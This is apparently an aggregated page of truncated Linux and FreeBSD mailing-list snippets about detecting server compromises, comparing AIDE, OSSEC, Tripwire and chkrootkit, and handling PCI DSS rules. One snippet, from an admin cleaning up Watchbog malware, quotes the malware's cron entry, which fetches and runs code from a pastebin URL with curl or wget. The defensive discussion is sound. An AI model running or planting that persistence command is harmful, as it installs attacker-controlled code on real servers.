similar to: How to detect botnet user on the server ?

Another alternative is to use a FIMS/HIDS such as Aide (Advanced Intrusion Detection Environment), OSSEC or Samhain. Be prepared to learn a lot about what your OS normally does behind the scenes (and thus a fair amount of initial fine tuning to exclude those things). Aide seems to work well (I've seen only one odd result) and is quite granular. However, it is local system based rather than

On 11/06/2017 07:06 AM, marcos valentine wrote: > Hello guys, > > > Whats is the best way to identify a possible user using a botnet with php > in the server? And if he is using GET commands for example in other server. > > Does apache logs outbound conections ? > > If it is using a file that is not malicious the clam av would not identify. This sounds like a good

How do you know when a Linux system has been compromised?? Every day I watch our systems with all the typical tools, ps, top, who, I watch firewall / IPS logs, I have logwatch setup and mailing daily summaries to me and I dive deeper into logs if something looks suspicious. What am I missing or not looking at that you security gurus are looking at? I subscribe to the centos and SANS

Starting with a fresh load and after I finish hardening the load following the Center for Internet Security (CIS) guidance, I'm wondering whether AIDE or OSSEC would be a better intrusion detection system. I installed AIDE and did a quick test of AIDE and after initializing the db and applying the recent cups update, I found that 1700+ files had changed. Those are a lot of changes to wade

Hi all, I need to install an anti-rootkid in a lot of servers. I know that there're several options: tripwire, aide, chkrootkit... ?What do you prefer? Obviously, I have to define my needs: - easy setup and configuration - actively developed -- Thanks, Jordi Espasa Clofent

Hello; I'm running a FreeBSD 4.10-release-p2 box and both chkrootkit 0.44 & 0.45 report that my /sbin/init file is infected. It appears as though the egrep for "UPX" in the output of "strings" triggers the infected notice. When I copy the init file from an uninfected box to this one chkrootkit continues to report it as infected. Is chkrootkit reading a copy of the

Hi, Is there a way to find out how the CentOS 7.5 Linux box got infected with malware? Currently i am referring to http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html to carry out the below steps and is done manually. 1)rm -fr /tmp/*timesyncc.service* 2)crontab -e -u apigee delete the cron entry */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget

I have a client project to implement PCI/DSS compliance. The PCI/DSS auditor has stipulated that the web server, application middleware (tomcat), the db server have to be on different systems. In addition the auditor has also stipulated that there be a NTP server, a "patch" server, The Host OS on all of the above nodes will be CentOS 6.2. Below is a list of things that would be

Hi, I have a 4.9-STABLE FreeBSD box apparently hacked! Yesterday I ran chkrootkit-0.41 and I don't like some of the outputs. Those are: chfn ... INFECTED chsh ... INFECTED date ... INFECTED ls ... INFECTED ps ... INFECTED But all the rest is NOT PROMISC, NOT INFECTED, NOTHING FOUND, NOTHING DELETED, or NOTHING DETECTED. I know by the FreeBSD-Security archives that

I think Jim (the other one) is doing a marvellous job with extras and plus but he needs to expand the size of his tent. A sensible package policy in extras/plus repo will mean fewer temptations to install 3rd party repo's that can break your system. Some of the packages i would like to see are :- - MySQL 5 rpms - php 5 rpms (already provided) - Open Office 2.0 rpms - webmin - rkhunter -

Hello, when one has physical access to a computer, he can run something like tripwire, with keys and checksum on a separate, write-only media, to verify the integrity of the system. What if the system is a remote one (in my case Centos 4.3 on a User Mode Linux VPS some hundred of KMs from here)? Does it still make sense to run tripwire remotely? If yes, how, since you cannot plug a floppy or

How can I be sure if it is LKM or not? Today I've run chkrootkit and it gave me: Checking `lkm'... You have 179 process hidden for readdir command You have 179 process hidden for ps command chkproc: Warning: Possible LKM Trojan installed Checking `chkutmp'... The tty of the following user process(es) were not found in /var/run/utmp ! ! RUID PID TTY CMD ! root

Hi. On one of my servers aide just reported inode changes to a large bunch of files in a variety of directories, e.g. /usr/bin, /usr/sbin etc. This machine sits behind a couple of firewalls and it would be hard to get to. The day before I updated "clam*" and updated the aide database right after that: -rw------- 1 root root 7407412 Sep 26 10:58 aide.db.gz The problem was that the

I saw this in Logwatch today for one of my servers: --------------------- yum Begin ------------------------ Packages Installed: samba-common.i386 3.0.23c-2.el5.2.0.2 samba.i386 3.0.23c-2.el5.2.0.2 Packages Erased: samba-common samba ---------------------- yum End ------------------------- No one, including myself, has even logged into this box in the past few

Hi All, Yes, I know, it's really really embarrassing to have to ask but I'm being pushed to the wall with PCI DSS Compliance procedure (http://en.wikipedia.org/wiki/PCI_DSS) and have to either justify why we don't need to install an anti-virus or find an anti-virus to run on our CentOS 5 servers. Whatever I do - it needs to be convincing enough to make the PCI compliance guy tick the

Hello all, I have been exploring the various intrusion detection systems available for the Linux platform and was wondering what ones you all would recommend? I have used AIDE before and while it is extremely easy to setup, it does not support the ability to send alerts as files are changed (allows one to be aware of an intrusion almost immediately). Thank you, Dan Burkland ?

Hello all, Years ago, I used to work with tripwire for system monitoring. Last time I checked with "yum search tripwire", there is no hit. IIRC, it used to be packed by default on older Redhat distros. Any suggestion for an alternative of tripwire for my CentOS 5.6? Cheers, -- ********************************************************************** Viet Nhat General Joint Stock

Hi folks, My stack of trusty FreeBSD servers always seems to be growing, and it's getting to the point where the daily and security output mail is too much to make good use of. I'm looking for suggestions for log monitoring and aggregation tools, especially from a monitoring-for-security perspective. If I had to imagine an ideal system, it would be a central server that securely

Hi, there is a remote (VPS) Centos 4.2 server which *may* have been compromised. Reinstalling everything from scratch isn't a problem, it may even be an occasion to improve a few things, the question is another. There are backups of necessary shell script, ASCII configuration files and more or less important email (maildir format, if it matters) including messages with binary attachments in

Hi Guys, I would like advice for best practices to secure my linux boxes. Know if I have been hacked, know of security breaches, etc. Can anyone provide advice? -Jason